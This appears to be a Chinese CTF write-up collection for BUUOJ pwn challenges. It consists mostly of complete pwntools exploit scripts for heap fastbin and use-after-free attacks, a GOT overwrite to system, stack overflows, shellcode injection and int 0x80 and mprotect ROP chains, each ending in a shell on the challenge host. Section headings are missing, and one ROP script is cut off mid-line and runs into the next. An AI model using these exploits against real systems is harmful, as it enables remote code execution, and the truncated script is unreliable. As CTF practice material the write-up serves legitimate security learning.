发现个pwn题目:https://github.com/bash-c/pwn_repo/
因为没有show chunk的功能,所以没法利用unsorted bin泄漏地址
所以说只要修改magic的值即可,找到 magic 附近的fake chunk
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
#r = remote("node4.buuoj.cn",29720)
r = process('./easyheap')
#r = gdb.debug("./heap")
def alloc(size):
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size of Heap : ',str(size))
r.recvuntil("Content of heap:")
r.sendline()
def edit(index,payload):
r.sendlineafter('Your choice :','2')
r.sendlineafter("Index :",str(index))
r.sendlineafter("Size of Heap : ",str(len(payload)))
r.sendlineafter("Content of heap : ",payload)
def free(index):
r.sendlineafter('Your choice :','3')
r.sendlineafter("Index :",str(index))
def flag():
r.recvuntil("Your choice :")
r.sendline('4869')
magic = 0x06020C0
alloc(0x60)#0
alloc(0x60)#1
alloc(0x60)#2
free(1)
payload = b'a'*0x68+p64(0x71)+p64(magic-0x13) # fake chunk: 0x6020ad
edit(0,payload)
alloc(0x60)#1
alloc(0x60)#3
payload = b'a'*0x3+p64(0xdeadbeef)
edit(3,payload) # x/20gx 0x6020c0
flag()
# gdb.attach(r)
# pause()
r.interactive()
然后远程没有这个文件,接下来想办法反弹shell,修改free_got内容为system,这样free一个chunk时调用system(),只需要往一个chunk写’/bin/sh\x00’即可
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29742)
#r = process('./easyheap')
#r = gdb.debug("./heap")
def alloc(size):
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size of Heap : ',str(size))
r.recvuntil("Content of heap:")
r.sendline()
def edit(index,payload):
r.sendlineafter('Your choice :','2')
r.sendlineafter("Index :",str(index))
r.sendlineafter("Size of Heap : ",str(len(payload)))
r.sendlineafter("Content of heap : ",payload)
def free(index):
r.sendlineafter('Your choice :','3')
r.sendlineafter("Index :",str(index))
def flag():
r.recvuntil("Your choice :")
r.sendline('4869')
elf = ELF('./easyheap')
free_got = elf.got['free'] # no fake chunk
system = elf.symbols['system']
heaparray = 0x06020E0 # fake chunk
alloc(0x60)#0
alloc(0x60)#1
alloc(0x60)#2
free(1)
log.info('free_got: '+str(hex(free_got)))
log.info('system: '+str(hex(system)))
log.info('heaparray: '+str(hex(heaparray)))
log.info('fake chunk: '+str(hex(heaparray-0x33)))
payload = b'a'*0x68+p64(0x71)+p64(heaparray-0x33) # fake chunk to heaparray
edit(0,payload)
alloc(0x60)#1
alloc(0x60)#3 fake chunk
payload = b'b'*0x23+p64(free_got) # heaparray[0] = free_got
edit(3,payload)
payload = p64(system)
edit(0,payload) # free_got -> system
payload = '/bin/sh\x00'
edit(1,payload)
free(1)
r.interactive()
没有编辑的功能
print函数
del函数
这里只存在free,没有将指针赋值为NULL,存在UAF漏洞,还有个后门函数 magic
思路:申请两个chunk后,都free掉,再次申请0x8长度后会走到*print指针处,然后我们修改这里的值为后门函数的值,然后再调用show方法即可调用后门。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28194)
#r = process('./hacknote',env = {"LD_PRELOAD": "libc_32.so.6"})
def alloc(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.recvuntil('Content :')
r.sendline(content)
def free(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def show(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr = 0x8048945
alloc(0x10,'a')
alloc(0x10,'b')
free(0)
free(1)
alloc(0x8,p32(shell_addr))
show(0)
r.interactive()
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",27138)
#r = process('./PicoCTF_2018_buffer_overflow_1')
elf = ELF('./PicoCTF_2018_buffer_overflow_1')
win = elf.sym['win']
payload = b'a'*0x28+b'b'*0x4+p32(win)
r.sendlineafter('Please enter your string: ',payload)
r.interactive()
ida没法看伪代码,硬撸汇编
读400长度到buf中,将$eax赋值给[rbp+var_4],接着与0进行比较;>0则执行 call
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28695)
#r = process('./PicoCTF_2018_buffer_overflow_1')
shellcode = asm(shellcraft.sh())
r.sendlineafter('Show me your magic!',shellcode)
r.interactive()
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",27949)
#r = process('./memory')
elf = ELF('./memory')
system = elf.sym['win_func']
main = elf.sym['main']
payload = b'a'*0x13+b'b'*0x4+p32(system)+p32(main)+p32(0x080487E0)
r.sendline(payload)
r.interactive()
execve("/bin/sh", NULL, NULL)获得shell
int 0x80 汇编调用,系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存
静态链接库,存在栈溢出
ROPgadget --binary simplerop --only "int"
找赋值eax、ebx、ecx、edx
ROPgadget --binary simplerop --only "pop|ret" | grep "eax"
ROPgadget --binary simplerop --only "pop|ret" | grep "ebx"
找不到bin/sh之类得字符串,所以需要我们将/bin/sh读入。读到bss段就行了。
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28768)
#r = process('./simplerop')
#r = gdb.debug('./simplerop')
int80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
read_addr = 0x0806cd50
bss_addr = 0x080eb584
payload = b'a'*0x20
payload += p32(read_addr)+p32(pop_edx_ecx_ebx_ret) # pop为栈平衡,结尾有个ret
payload += p32(0)+p32(bss_addr)+p32(8) # 填充read参数
payload += p32(pop_eax_ret) + p32(0x0b) #0xb为系统调用号
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr) # 反向输入参数
payload += p32(0x080493e1) # 执行系统中断,调用execve
r.recvuntil('Your input :')
r.sendline(payload)
r.sendline(b'/bin/sh\x00')
r.interactive()
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28768)
#r = process('./simplerop')
#r = gdb.debug('./simplerop')
int80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
read_addr = 0x0806cd50
bss_addr = 0x080eb584
mprotect_addr = 0x0806D870
payload = b"a" * 0x20 + p32(mprotect_addr) # 栈溢出运行mprotec函数
payload += p32(pop_edx_ecx_ebx_ret) # 平衡栈空间
payload += p32(0x080eb000) + p32(0x1000) + p32(0x7)# mprotect函数的三个参数,修改bss段权限为RWX
payload += p32(read_addr) # mprotect运行后返回到read函数
payload += p32(pop_edx_ecx_ebx_ret) # 平衡栈空间
payload += p32(0) + p32(bss_addr) + p32(0x44) # read函数的三个参数,将shellcode写入bss段
payload += p32(bss_addr) # read函数运行后返回到bss段执行shellcode
r.recvuntil('Your input :')
r.sendline(payload)
r.sendline(asm(shellcraft.sh()))
r.interactive()
上面的mprotect可以写,这里有一种方法,利用ROPgadget,可以直接利用程序中的片段拼凑rop链
ROPgadget --binary inndy_rop --ropchain
填充一下溢出即可
exp
from pwn import *
from struct import pack
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29048)
# Padding goes here
p=b'a'*(0xc+4)
p += pack('
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29237)
payload = b'a'*0x6c+b'b'*0x4+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendlineafter('Please enter your string: ',payload)
r.interactive()